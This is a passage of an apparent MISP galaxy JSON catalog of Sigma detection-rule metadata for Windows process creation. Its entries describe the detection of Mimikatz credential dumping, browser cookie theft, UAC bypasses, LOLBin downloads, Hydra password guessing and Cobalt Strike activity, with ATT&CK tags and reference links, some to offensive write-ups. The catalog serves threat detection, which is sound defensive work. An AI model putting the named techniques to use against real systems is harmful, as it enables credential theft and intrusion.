"attack.credential_access", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005", "attack.t1003.006" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d", "value": "Mimikatz Command Line" }, { "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", "meta": { "author": "Florian Roth", "creation_date": "2022/09/06", "falsepositive": [ "System administrator usage" ], "filename": "proc_creation_win_renamed_sdelete.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90", "value": "Renamed Sysinternals Sdelete Usage" }, { "description": "Detects a code page switch in command line or batch scripts to a rare language", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/10/14", "falsepositive": [ "Administrative activity (adjust code pages according to your organisation's region)" ], "filename": "proc_creation_win_susp_codepage_switch.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/cglyer/status/1183756892952248325", "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml" ], "tags": [ "attack.t1036", "attack.defense_evasion" ] }, "uuid": "c7942406-33dd-4377-a564-0f62db0593a3", "value": "Suspicious Code Page Switch" }, { "description": "Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_chromium_headless_debugging.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/defaultnamehere/cookie_crimes/", "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password", "https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/", "https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chromium_headless_debugging.yml" ], "tags": [ "attack.credential_access", "attack.t1185" ] }, "related": [ { "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3e8207c5-fcd2-4ea6-9418-15d45b4890e4", "value": "Potential Data Stealing Via Chromium Headless Debugging" }, { "description": "Detects suspicious ways to run Invoke-Execution using IEX alias", "meta": { "author": "Florian Roth", "creation_date": "2022/03/24", "falsepositive": [ "Legitimate scripts that use IEX" ], "filename": "proc_creation_win_susp_powershell_iex_patterns.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml" ], "tags": "No established tags" }, "uuid": "09576804-7a05-458e-a817-eb718ca91f54", "value": "Suspicious PowerShell IEX Execution Patterns" }, { "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_certutil_ntlm_coercion.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/issues/243", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916", "value": "NTLM Coercion Via Certutil.exe" }, { "description": "Detects when attackers use \"sc.exe\" or the powershell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\"", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Administrators settings a service to disable via script or cli for testing purposes" ], "filename": "proc_creation_win_disable_service.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_service.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc", "value": "Sc Or Set-Service Cmdlet Execution to Disable Services" }, { "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", "meta": { "author": "Teymur Kheirkhabarov", "creation_date": "2019/10/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://pentestlab.blog/2017/03/30/weak-service-permissions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574.011" ] }, "uuid": "d937b75f-a665-4480-88a5-2f20e9f9b22a", "value": "Possible Privilege Escalation via Weak Service Permissions" }, { "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", "meta": { "author": "FPT.EagleEye", "creation_date": "2020/12/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_emotet_rundll32_execution.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://cyber.wtf/2021/11/15/guess-whos-back/", "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_emotet_rundll32_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", "value": "Emotet RunDLL32 Process Creation" }, { "description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", "meta": { "author": "Florian Roth", "creation_date": "2021/02/11", "falsepositive": [ "Legitimate use by administrative staff" ], "filename": "proc_creation_win_susp_screenconnect_access.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml" ], "tags": [ "attack.initial_access", "attack.t1133" ] }, "uuid": "75bfe6e6-cd8e-429e-91d3-03921e1d7962", "value": "ScreenConnect Remote Access" }, { "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sdclt_child_process.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", "https://github.com/OTRF/detection-hackathon-apt29/issues/6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa", "value": "Sdclt Child Processes" }, { "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", "meta": { "author": "FLorian Roth", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate administrative tasks" ], "filename": "proc_creation_win_susp_psexesvc_renamed.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=ro2QuZTIMBM", "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml" ], "tags": [ "attack.execution" ] }, "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4", "value": "Renamed PsExec Service Execution" }, { "description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", "meta": { "author": "@neonprimetime, Florian Roth", "creation_date": "2021/09/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_control_cve_2021_40444.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/neonprimetime/status/1435584010202255375", "https://www.joesandbox.com/analysis/476188/1/iochtml", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", "value": "CVE-2021-40444 Process Pattern" }, { "description": "Detects different process creation events as described in various threat reports on Lazarus group activity", "meta": { "author": "Florian Roth", "creation_date": "2020/12/23", "falsepositive": [ "Overlap with legitimate process activity in some cases (especially selection 3 and 4)" ], "filename": "proc_creation_win_apt_lazarus_activity_dec20.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hvs-consulting.de/lazarus-report/", "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml" ], "tags": [ "attack.g0032", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", "value": "Lazarus Activity Dec20" }, { "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", "meta": { "author": "Bhabesh Raj", "creation_date": "2022/03/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_gamaredon_ultravnc.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" ], "tags": [ "attack.lateral_movement", "attack.g0047", "attack.t1021.005" ] }, "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599", "value": "Suspicious UltraVNC Execution" }, { "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/10/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_certoc_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", "value": "Suspicious Load DLL via CertOC.exe" }, { "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085", "value": "UAC Bypass Using Consent and Comctl32 - Process" }, { "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", "meta": { "author": "frack113", "creation_date": "2022/05/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_ie4uinit.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc", "value": "Ie4uinit Lolbin Use From Invalid Path" }, { "description": "Detects UAC bypass method using Windows event viewer", "meta": { "author": "Florian Roth", "creation_date": "2017/03/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sysmon_uac_bypass_eventvwr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "be344333-921d-4c4d-8bb8-e584cf584780", "value": "UAC Bypass via Event Viewer" }, { "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/04", "falsepositive": [ "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" ], "filename": "proc_creation_win_wusa_susp_cab_extraction.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml" ], "tags": [ "attack.execution" ] }, "uuid": "59b39960-5f9d-4a49-9cef-1e4d2c1d0cb9", "value": "Wusa Extracting Cab Files" }, { "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_via_compress.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" }, { "description": "Detects the export of the target Registry key to a file.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Legitimate export of keys" ], "filename": "proc_creation_win_regedit_export_keys.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" ], "tags": [ "attack.exfiltration", "attack.t1012" ] }, "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a", "value": "Exports Registry Key To a File" }, { "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_msohtmed_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", "value": "Download Arbitrary Files Via MSOHTMED.EXE" }, { "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", "meta": { "author": "Florian Roth", "creation_date": "2018/02/22", "falsepositive": [ "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" ], "filename": "proc_creation_win_exploit_cve_2017_0261.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.t1204.002", "attack.initial_access", "attack.t1566.001" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", "value": "Exploit for CVE-2017-0261" }, { "description": "Detects creation or execution of UserInitMprLogonScript persistence method", "meta": { "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", "creation_date": "2019/01/12", "falsepositive": [ "Exclude legitimate logon scripts" ], "filename": "proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml" ], "tags": [ "attack.t1037.001", "attack.persistence" ] }, "related": [ { "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458", "value": "Logon Scripts (UserInitMprLogonScript)" }, { "description": "Detects wmiprvse spawning processes", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/08/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmiprvse_spawning_process.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190810201010.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d", "value": "Wmiprvse Spawning Process" }, { "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/23", "falsepositive": [ "Other legitimate network providers used and not filtred in this rule" ], "filename": "proc_creation_win_new_network_provider.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77", "value": "New Network Provider - CommandLine" }, { "description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", "meta": { "author": "Florian Roth", "creation_date": "2021/07/27", "falsepositive": [ "Other programs that cause these patterns (please report)" ], "filename": "proc_creation_win_cobaltstrike_process_patterns.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_process_patterns.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f35c5d71-b489-4e22-a115-f003df287317", "value": "CobaltStrike Process Patterns" }, { "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth, Sreeman, FPT.EagleEye Team", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_proxy_execution_wuauclt.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://dtm.uk/wuauclt/", "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proxy_execution_wuauclt.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.execution" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "af77cf95-c469-471c-b6a0-946c685c4798", "value": "Proxy Execution via Wuauclt" }, { "description": "Detects command line parameters used by Hydra password guessing hack tool", "meta": { "author": "Vasiliy Burov", "creation_date": "2020/10/05", "falsepositive": [ "Software that uses the caret encased keywords PASS and USER in its command line" ], "filename": "proc_creation_win_hack_hydra.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/vanhauser-thc/thc-hydra", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_hydra.yml" ], "tags": [ "attack.credential_access", "attack.t1110", "attack.t1110.001" ] }, "uuid": "aaafa146-074c-11eb-adc1-0242ac120002", "value": "Hydra Password Guessing Hack Tool" }, { "description": "Execution of a renamed version of the Plink binary", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_plink.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43", "value": "Execution Of Renamed Plink Binary" }, { "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/31", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_tools_uac_bypass_computerdefaults.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8", "value": "UAC Bypass Tools Using ComputerDefaults" }, { "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", "meta": { "author": "Florian Roth", "creation_date": "2018/02/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_cve_2015_1641.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.005" ] }, "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", "value": "Exploit for CVE-2015-1641" }, { "description": "Detects a suspicious execution from an uncommon folder", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_execution_path.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", 